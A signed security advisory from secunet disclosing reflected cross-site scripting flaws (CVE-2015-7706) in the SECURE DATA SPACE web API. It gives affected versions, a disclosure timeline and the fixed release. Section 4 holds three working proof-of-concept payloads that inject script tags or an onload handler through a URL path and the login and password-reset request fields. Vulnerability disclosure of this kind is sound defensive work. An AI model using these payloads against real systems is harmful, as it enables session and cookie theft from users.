-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 secunet Security Networks AG Security Advisory Advisory: SECURE DATA SPACE API Multiple Non-Persistent Cross-Site Scripting Vulnerabilities 1. DETAILS - ---------- Product: SECURE DATA SPACE Vendor URL: www.ssp-europe.eu Type: Cross-site Scripting[CWE-79] Date found: 2015-09-30 Date published: 2015-12-09 CVSSv2 Score: 4,3 (AV:N/AC:M/Au:N/C:N/I:P/A:N) CVE: CVE-2015-7706 2. AFFECTED VERSIONS - -------------------- All product versions (Online, Dedicated, For Linux/Windows) in Web-Client v3.1.1-2 restApiVersion: 3.5.7-FINAL sdsServerVersion: 3.4.14-FINAL 3. INTRODUCTION - --------------- "The highly secure business solution for easy storage, synchronization, distribution and management of data - regardless of location or device" (from the vendor's homepage) 4. VULNERABILITY DETAILS - ------------------------ The Secure Data Share version v3.1.1-2 is vulnerable to multiple unauthenticated Non-Persistent Cross-Site Scripting vulnerabilities when user-supplied input is processed by the server.[0] #1 Proof-of-Concept: https://example.com/api/v3//public/shares/downloads/111"}<BODY%20ONLOAD%3dalert('XSS')> #2 Proof-of-Concept(authType parameter): POST /api/v3/auth/login {"login":"a","password":"a","language":1,"authType":"random<script>alert(1)<\/script>random"} #3 Proof-of-Concept(login parameter): POST /api/v3/auth/reset_password {"login":"random<script>alert(1)<\/script>random","language":1} 5. SECURITY RISK - ---------------- The vulnerabilities can be used to temporarily embed arbitrary script code into the context of the Secure Data Space backend interface, which offers a wide range of possible attacks such as stealing cookies or attacking the browser and its components. 6. SOLUTION - ----------- Update to Secure Data Space Versions: Web-Client 3.1.3 - Rev. 3 or higher with SDS-API 3.5.7 or higher 7. REPORT TIMELINE - ------------------ 2015-09-30: Vulnerability discovered 2015-10-02: Vendor notified 2015-10-02: Vendor acknowledges the vulnerability 2015-10-05: CVE requested from MITRE 2015-10-05: CVE-2015-7706 assigned 2015-10-13: Vendor releases update and security advisory[0] 2015-12-09: Advisory released 8. REFERENCES / CREDITS - ----------------------- This vulnerability was discovered and researched by Thomas Vogt from secunet Security Networks AG. [0] https://kb.ssp-europe.eu/pages/viewpage.action?pageId=12059988 secunet Security Networks AG - ---------------------------- secunet is one of Germany's leading providers of superior IT security. In close dialogue with its customers ? enterprises, public authorities and international organisations ? secunet develops and implements high-performance products and state-of-the-art IT security solutions. Thus, secunet not only keeps IT infrastructures secure for its customers, but also achieves intelligent process optimisation and creates sustainable added value. More information about secunet can be found at: https://www.secunet.com - -- secunet Security Networks AG Kronprinzenstrae 30 45128 Essen, Germany Local Court of Essen HRB 13615 Board of management: Dr. Rainer Baumgart (CEO), Thomas Pleines -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 Comment: Using gpg4o v3.5.43.6457 - http://www.gpg4o.de/ Charset: utf-8 iQIcBAEBCAAGBQJWaBC9AAoJEEIZSc7HIQcnFVoP/AuguW4muL0nFuaJCZcT1UEw YuHs6w3VnjnRH7w7h1EJwipvgKnIxPFNIFjlWOWSts32pbg5n23d7jbXubtYEjgr USTIXJbflIsTbV2xIg0oWHFq3KIXPWjRU3BLIPN7SvGmVrkTR7acmwTHZbSPxh71 SmYdiP96kccoX+6Rf0bSL634lt8iHtHhr1MSDxkO3NaP5GdGQqXBX7cpacvdVoq1 IwmQpUiRpCtXA3NtnABPzEAosIOBde/knbYgFKSNRlnG0gekmvtvNiPNSi5P0wlq 7D3JD90m1ZqdnBR014OUfXj8lsNBIkzlHZzSJkgGBG3mNNRmjB7Mir0GODoNfIA7 t9igBmrjTSPgfAFjKUZiujs4xkT4jGqv6k6ziT2dMO9DOmCyKzTvV7nT5wPKZSgR ilYqLiSFry5tIhk2Lm1lN4zuLPRhbzDl2LfKPsczBCPAdbP8XlUe0NNkbKlgCeL9 e9usCKTjfHCMPsXNK5QjjklVsVGQ9Fe8eyycSTJi1X+z8EjJV09dQ4xfKOPjiRdf egP4W9j6wUqqjP2hPOJY8rwJuF98jNbZpsPWCir42hpYdrgUzZY6i99XsVgBnjpn 7JXkz3Z30E53VxZvl33JJwjFR8wPn5RXmO+VfZ1/iG/6wYoN5wROsgJGqSKyA0c8 RjfIxP+sWAqpsmzl5mhy =Cbpf -----END PGP SIGNATURE-----